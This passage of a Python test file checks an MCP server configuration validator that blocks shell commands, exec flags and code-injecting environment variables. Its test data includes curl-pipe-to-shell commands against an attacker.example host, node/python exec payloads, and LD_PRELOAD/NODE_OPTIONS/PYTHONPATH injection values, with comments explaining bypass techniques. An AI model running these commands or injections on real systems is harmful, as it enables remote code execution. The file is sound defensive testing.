monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
|
|
response = await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="semantic-scholar", enabled=False),
|
|
)
|
|
assert response.mcp_servers["semantic-scholar"].enabled is False
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="semantic-scholar", enabled=True),
|
|
)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "s2-mcp-server" in exc_info.value.detail
|
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
|
assert persisted["mcpServers"]["semantic-scholar"]["enabled"] is False
|
|
assert reset_calls == 1
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_server_state_rejects_enabling_arbitrary_exec_args(monkeypatch, tmp_path):
|
|
"""The enable path shares the args denylist.
|
|
|
|
PATCH only writes ``enabled``, so a file-configured entry carrying an
|
|
arbitrary-exec flag must still be rejected rather than going live.
|
|
"""
|
|
config_path = tmp_path / "extensions_config.json"
|
|
config_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"mcpServers": {
|
|
"npx-shell": {
|
|
"enabled": False,
|
|
"type": "stdio",
|
|
"command": "npx",
|
|
"args": ["--yes", "-c", "printf canary"],
|
|
}
|
|
},
|
|
"skills": {},
|
|
}
|
|
),
|
|
encoding="utf-8",
|
|
)
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", lambda: None)
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="npx-shell", enabled=True),
|
|
)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "arbitrary code" in exc_info.value.detail
|
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
|
assert persisted["mcpServers"]["npx-shell"]["enabled"] is False
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
@pytest.mark.parametrize("transport", ["sse", "http"])
|
|
async def test_update_mcp_server_state_enables_raw_transport_alias(
|
|
monkeypatch,
|
|
tmp_path,
|
|
transport: str,
|
|
):
|
|
config_path = tmp_path / "extensions_config.json"
|
|
original_server = {
|
|
"enabled": False,
|
|
"transport": transport,
|
|
"url": "https://mcp.example.com/mcp",
|
|
"customFlag": "keep-me",
|
|
}
|
|
config_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"mcpServers": {"remote": original_server},
|
|
"skills": {},
|
|
}
|
|
),
|
|
encoding="utf-8",
|
|
)
|
|
reset_calls = 0
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal reset_calls
|
|
reset_calls += 1
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
|
|
response = await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="remote", enabled=True),
|
|
)
|
|
|
|
persisted_server = json.loads(config_path.read_text(encoding="utf-8"))["mcpServers"]["remote"]
|
|
assert persisted_server == {**original_server, "enabled": True}
|
|
assert "type" not in persisted_server
|
|
assert response.mcp_servers["remote"].enabled is True
|
|
assert response.mcp_servers["remote"].type == transport
|
|
assert reset_calls == 1
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_server_state_returns_404_without_writing_or_resetting_cache(monkeypatch, tmp_path):
|
|
config_path = tmp_path / "extensions_config.json"
|
|
original_text = '{"mcpServers": {}, "skills": {}}'
|
|
config_path.write_text(original_text, encoding="utf-8")
|
|
reset_calls = 0
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal reset_calls
|
|
reset_calls += 1
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="missing", enabled=True),
|
|
)
|
|
|
|
assert exc_info.value.status_code == 404
|
|
assert config_path.read_text(encoding="utf-8") == original_text
|
|
assert reset_calls == 0
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_server_state_requires_admin():
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await update_mcp_server_state(
|
|
_request_with_role("user"),
|
|
McpServerStateUpdateRequest(server_name="github", enabled=False),
|
|
)
|
|
|
|
assert exc_info.value.status_code == 403
|
|
|
|
|
|
def test_validate_mcp_update_allows_default_npx_stdio_command(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"github": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
def test_validate_mcp_update_rejects_shell_stdio_command(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"backdoor": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="/bin/bash",
|
|
args=["-c", "curl -s https://attacker.example/shell.sh | bash"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "single executable name" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_rejects_inline_shell_command(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"inline": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx -y",
|
|
args=["@modelcontextprotocol/server-github"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "single executable name" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_rejects_path_with_allowed_basename(monkeypatch):
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "npx")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"path-bypass": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="/tmp/attacker-controlled/npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "single executable name" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_uses_explicit_stdio_allowlist(monkeypatch):
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "python,npx")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"python-mcp": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="python",
|
|
args=["-m", "trusted_mcp_server"],
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
def test_validate_mcp_update_ignores_remote_transports(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"remote": McpServerConfigResponse(
|
|
type="http",
|
|
command="/bin/bash",
|
|
url="https://mcp.example.com/mcp",
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# The stdio allowlist must constrain args and env, not just the command name.
|
|
#
|
|
# `npx`/`uvx` exist to fetch and run code, so allowlisting the *command* alone
|
|
# names a binary without constraining what that binary runs. These pin the
|
|
# arbitrary-exec argument and environment denylists that make the allowlist
|
|
# mean something, alongside positive cases pinning that ordinary MCP server
|
|
# invocations keep validating. Defense in depth, not a trust boundary -- see
|
|
# `_ARBITRARY_EXEC_ARGS` for the residual risk that stays by design.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"args",
|
|
[
|
|
["-c", "printf canary"],
|
|
["--yes", "-c", "curl -s https://attacker.example/x.sh | sh"],
|
|
["--call", "printf pwned"],
|
|
["--call=printf pwned"],
|
|
["-c=printf pwned"],
|
|
# In the launcher's own option region. The same flag *after* the package
|
|
# name belongs to the server's CLI and is allowed -- see
|
|
# `test_validate_mcp_update_allows_server_own_flags_after_package_name`.
|
|
["--yes", "--eval", "require('child_process').exec('id')"],
|
|
["-e", "process.exit(0)"],
|
|
["--print", "1"],
|
|
["--node-arg", "-e", "1"],
|
|
["--node-options=--require=/tmp/payload.js"],
|
|
],
|
|
)
|
|
def test_validate_mcp_update_rejects_arbitrary_exec_args(monkeypatch, args):
|
|
"""An allowlisted launcher must not be turned into a shell by its args."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"npx-shell": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "arbitrary code" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_rejects_arbitrary_exec_args_case_insensitively(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"npx-shell": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["--CALL", "printf pwned"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
|
|
|
|
def test_validate_mcp_update_rejects_python_dash_c(monkeypatch):
|
|
"""The denylist applies to every allowlisted command, not just npx/uvx."""
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "python")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"python-shell": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="python",
|
|
args=["-c", "import os; os.system('id')"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "args"),
|
|
[
|
|
("npx", ["-y", "@modelcontextprotocol/server-github"]),
|
|
("npx", ["--yes", "--package=@scope/pkg", "server-bin"]),
|
|
("npx", ["-p", "@scope/pkg", "server-bin"]),
|
|
("uvx", ["mcp-server-fetch"]),
|
|
("uvx", ["--from", "mcp-server-git", "mcp-server-git", "--repository", "/repo"]),
|
|
("uvx", ["-p", "3.12", "mcp-server-time"]),
|
|
("uvx", ["--python", "3.12", "mcp-server-time", "--local-timezone", "UTC"]),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_allows_ordinary_launcher_args(monkeypatch, command, args):
|
|
"""The real-world MCP server invocations must keep working."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"ordinary": McpServerConfigResponse(
|
|
type="stdio",
|
|
command=command,
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
def test_validate_mcp_update_allows_python_dash_m(monkeypatch):
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "python")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"python-mcp": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="python",
|
|
args=["-m", "trusted_mcp_server"],
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"env",
|
|
[
|
|
{"NODE_OPTIONS": "--require=/tmp/payload.js"},
|
|
{"LD_PRELOAD": "/tmp/payload.so"},
|
|
{"DYLD_INSERT_LIBRARIES": "/tmp/payload.dylib"},
|
|
{"BASH_ENV": "/tmp/payload.sh"},
|
|
{"PYTHONSTARTUP": "/tmp/payload.py"},
|
|
{"node_options": "--import=/tmp/payload.mjs"},
|
|
],
|
|
)
|
|
def test_validate_mcp_update_rejects_code_injecting_env(monkeypatch, env):
|
|
"""Env-based startup injection is the same bypass as an exec flag."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"env-inject": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
env=env,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "environment variable" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_allows_ordinary_env(monkeypatch):
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"github": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
env={"GITHUB_TOKEN": "$GITHUB_TOKEN", "MCP_LOG_LEVEL": "debug"},
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"env",
|
|
[
|
|
{"PYTHONPATH": "/tmp/payload-dir"},
|
|
{"pythonpath": "/tmp/payload-dir"},
|
|
{"PYTHONHOME": "/tmp/fake-prefix"},
|
|
],
|
|
)
|
|
def test_validate_mcp_update_rejects_python_import_path_env(monkeypatch, env):
|
|
"""`PYTHONPATH` runs code at startup, and `uvx` is on the default allowlist.
|
|
|
|
`site` searches every `sys.path` entry -- which includes `PYTHONPATH` --
|
|
for `sitecustomize.py` and imports it before the tool's entry point runs,
|
|
so a directory the caller controls is arbitrary code execution. Verified
|
|
against the real launcher: `PYTHONPATH=<dir> uvx <tool>` executes
|
|
`<dir>/sitecustomize.py`. `PYTHONHOME` is the same class, by repointing
|
|
the stdlib at a caller-controlled prefix.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"python-path-inject": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="uvx",
|
|
args=["mcp-server-fetch"],
|
|
env=env,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "environment variable" in exc_info.value.detail
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"env",
|
|
[
|
|
{"NODE_PATH": "/tmp/payload-dir"},
|
|
{"LD_LIBRARY_PATH": "/tmp/payload-dir"},
|
|
{"DYLD_LIBRARY_PATH": "/tmp/payload-dir"},
|
|
],
|
|
)
|
|
def test_validate_mcp_update_allows_caller_controlled_search_path_env(monkeypatch, env):
|
|
"""Search-path variables are a deliberate residual, not an oversight.
|
|
|
|
`_CODE_INJECTING_ENV_VARS` holds names that execute code unconditionally at
|
|
startup. A search path reaches code only if the process happens to load a
|
|
name the caller can shadow, so it belongs to a weaker class. `NODE_PATH` is
|
|
the weakest of the three and the one most easily mistaken for `PYTHONPATH`:
|
|
verified against node v22, it is searched *after* the local `node_modules`
|
|
chain, so `NODE_PATH=<evil> node main.js` still resolves an installed `dep`
|
|
to the real one, and ESM `import` ignores it entirely -- unlike `site`,
|
|
which imports `sitecustomize.py` from `sys.path` before any user code runs.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"search-path-env": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
env=env,
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "args"),
|
|
[
|
|
("node", ["-p", "require('child_process').execSync('id')"]),
|
|
("node", ["-p=1"]),
|
|
("python", ["-p", "whatever"]),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_rejects_dash_p_outside_package_launchers(monkeypatch, command, args):
|
|
"""`-p` is only `--package`/`--python` on npx/uvx; elsewhere it evaluates.
|
|
|
|
`node -p` is the short form of `--print`, which is blocked as a long flag,
|
|
so exempting `-p` for every command left the two spellings of one flag
|
|
disagreeing whenever an operator extended the allowlist.
|
|
"""
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "node,python")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"dash-p": McpServerConfigResponse(
|
|
type="stdio",
|
|
command=command,
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "arbitrary code" in exc_info.value.detail
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "args", "expected_flag"),
|
|
[
|
|
("node", ["-pe", "1"], "-p"),
|
|
("node", ["-ep", "1"], "-e"),
|
|
("python", ["-Ic", "import os"], "-c"),
|
|
("perl", ["-we", "print 1"], "-e"),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_decomposes_short_flag_clusters(monkeypatch, command, args, expected_flag):
|
|
"""A combined short-option cluster is the same flag with the dash shared.
|
|
|
|
Splitting only on `=` left `node -pe <code>` unscreened while `node -p`
|
|
and `node --print` were both caught. The reported flag stays normalized to
|
|
a single option so the message never echoes the caller's payload.
|
|
"""
|
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "node,python,perl")
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"clustered": McpServerConfigResponse(
|
|
type="stdio",
|
|
command=command,
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert f"'{expected_flag}'" in exc_info.value.detail
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "args"),
|
|
[
|
|
("npx", ["-y", "@scope/server", "-name", "value"]),
|
|
("npx", ["-y", "@scope/server", "-exclude", "node_modules"]),
|
|
("uvx", ["mcp-server-git", "-repo", "/srv/repo"]),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_does_not_decompose_package_launcher_args(monkeypatch, command, args):
|
|
"""Cluster decomposition is deliberately scoped to non-package launchers.
|
|
|
|
npx/uvx do not combine short options, and everything after the package
|
|
name belongs to a third-party server's own CLI, where single-dash
|
|
multi-letter flags are ordinary. Decomposing there would reject
|
|
`-name`/`-exclude` for containing an `e` while buying no coverage, so the
|
|
default allowlist keeps whole-token matching only.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"third-party-args": McpServerConfigResponse(
|
|
type="stdio",
|
|
command=command,
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# The argument screen applies to the launcher's own option region only.
|
|
#
|
|
# `npx`/`uvx` stop parsing their own flags at the package name; every later
|
|
# token belongs to the third-party server's CLI, where `-c` is routinely
|
|
# "config" and `-e` is "env". Screening those rejected ordinary servers while
|
|
# buying no coverage. The boundary has to account for options that consume a
|
|
# value, or an exec flag hiding behind one slips past the screen entirely.
|
|
#
|
|
# Verified against npm 10.9.4 / uv 0.11.1:
|
|
# npx . -c X -> server argv ["-c", "X"] (package ends it)
|
|
# npx -- . -c X -> server argv ["-c", "X"] (first token after
|
|
# `--` is the package)
|
|
# npx --parseable . -c X-> server argv ["-c", "X"] (boolean, then package)
|
|
# npx -p . -c 'echo Z' -> npm RUNS `echo Z` (`-p` is exec's
|
|
# `--package`, so `.`
|
|
# is its value and the
|
|
# option region goes on)
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "args"),
|
|
[
|
|
("npx", ["-y", "@scope/server", "-c", "config.json"]),
|
|
("npx", ["-y", "@scope/server", "-e", "production"]),
|
|
("npx", ["-y", "@scope/server", "--", "-c", "config.json"]),
|
|
("npx", ["--", "@scope/server", "--eval", "expr"]),
|
|
("npx", ["@scope/server", "--call", "not-a-launcher-flag"]),
|
|
("npx", ["--yes", "some-package", "--eval", "expr"]),
|
|
("npx", ["--parseable", "@scope/server", "-c", "config.json"]),
|
|
("uvx", ["mcp-server-x", "-e", "prod"]),
|
|
("uvx", ["--from", "pkg", "tool", "--print", "table"]),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_allows_server_own_flags_after_package_name(monkeypatch, command, args):
|
|
"""Trailing arguments belong to the spawned server, not to the launcher."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"third-party-cli": McpServerConfigResponse(
|
|
type="stdio",
|
|
command=command,
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
def test_validate_mcp_update_allows_uvx_constraints_short_flag(monkeypatch):
|
|
"""`-c` is uv's `--constraints <file>`, an ordinary launcher option.
|
|
|
|
uv has no flag that evaluates a string, so a short spelling collision with
|
|
another tool's exec flag must not cost uvx its own documented option.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"constrained": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="uvx",
|
|
args=["-c", "constraints.txt", "mcp-server-fetch"],
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("args", "expected_flag"),
|
|
[
|
|
(["-p", "@scope/pkg", "-c", "echo pwned"], "-c"),
|
|
(["--package", "@scope/pkg", "--call", "echo pwned"], "--call"),
|
|
(["--registry", "https://registry.example", "-c", "echo pwned"], "-c"),
|
|
(["-w", "workspace-a", "--call", "echo pwned"], "--call"),
|
|
(["--loglevel", "silly", "-c", "echo pwned"], "-c"),
|
|
],
|
|
)
|
|
def test_validate_mcp_update_rejects_exec_flag_behind_value_taking_option(monkeypatch, args, expected_flag):
|
|
"""An option that consumes a value does not end the launcher's option region.
|
|
|
|
`npx -p <pkg> -c '<command>'` runs the command: `-p` is `--package`, so its
|
|
value is not the package positional and npm keeps parsing its own flags.
|
|
Ending the screen at the first non-flag token would walk straight past it.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"behind-a-value": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert f"'{expected_flag}'" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_rejects_unknown_launcher_flag_before_exec_flag(monkeypatch):
|
|
"""An unrecognized npx option is assumed to consume a value.
|
|
|
|
npm errors on an option it does not define, so this direction cannot break
|
|
a working invocation, while the opposite default would let an npm config
|
|
this file has not enumerated carry an exec flag past the boundary.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"unknown-option": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["--not-an-npm-option", "value", "--call", "echo pwned"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "'--call'" in exc_info.value.detail
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"args",
|
|
[
|
|
# `-C` is npm's `--prefix <dir>`, not `--call`; folding case onto `-c`
|
|
# rejected an ordinary option.
|
|
["-C", "/srv/prefix", "@scope/server"],
|
|
# `-P` is `--save-prod` (boolean), so the next token is the package and
|
|
# the server's own `-c` stays out of the launcher's option region.
|
|
["-P", "@scope/server", "-c", "config.json"],
|
|
],
|
|
)
|
|
def test_validate_mcp_update_reads_short_launcher_options_case_sensitively(monkeypatch, args):
|
|
"""A short option's case selects a different option, so matching keeps it.
|
|
|
|
Long spellings stay case-insensitive -- see
|
|
`test_validate_mcp_update_rejects_arbitrary_exec_args_case_insensitively`.
|
|
"""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"case-sensitive": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=args,
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
def test_validate_mcp_update_keeps_uvx_long_exec_spellings_as_a_tripwire(monkeypatch):
|
|
"""uvx has no exec flag today; the long spellings stay as a cheap tripwire."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"uvx-tripwire": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="uvx",
|
|
args=["--eval", "print(1)", "some-tool"],
|
|
)
|
|
}
|
|
)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_validate_mcp_update_request(request)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "'--eval'" in exc_info.value.detail
|
|
|
|
|
|
def test_validate_mcp_update_ignores_args_and_env_for_remote_transports(monkeypatch):
|
|
"""Remote transports never spawn a process, so the denylists must not apply."""
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
request = McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"remote": McpServerConfigResponse(
|
|
type="http",
|
|
url="https://mcp.example.com/mcp",
|
|
args=["-c", "irrelevant"],
|
|
env={"NODE_OPTIONS": "--require=/tmp/x.js"},
|
|
)
|
|
}
|
|
)
|
|
|
|
_validate_mcp_update_request(request)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("raw_server", "expected_type"),
|
|
[
|
|
({"transport": "sse", "url": "https://mcp.example.com/sse"}, "sse"),
|
|
({"transport": "http", "url": "https://mcp.example.com/mcp"}, "http"),
|
|
({"transport": "stdio", "command": "npx"}, "stdio"),
|
|
({"type": "http", "transport": "sse", "url": "https://mcp.example.com/mcp"}, "http"),
|
|
({}, "stdio"),
|
|
],
|
|
)
|
|
def test_api_and_runtime_mcp_models_normalize_transport_consistently(
|
|
raw_server: dict[str, object],
|
|
expected_type: str,
|
|
):
|
|
api_server = McpServerConfigResponse.model_validate(raw_server)
|
|
runtime_server = McpServerConfig.model_validate(raw_server)
|
|
|
|
assert api_server.type == expected_type
|
|
assert runtime_server.type == expected_type
|
|
assert api_server.type == runtime_server.type
|
|
if "transport" in raw_server:
|
|
assert api_server.model_extra["transport"] == raw_server["transport"]
|
|
assert runtime_server.model_extra["transport"] == raw_server["transport"]
|
|
|
|
|
|
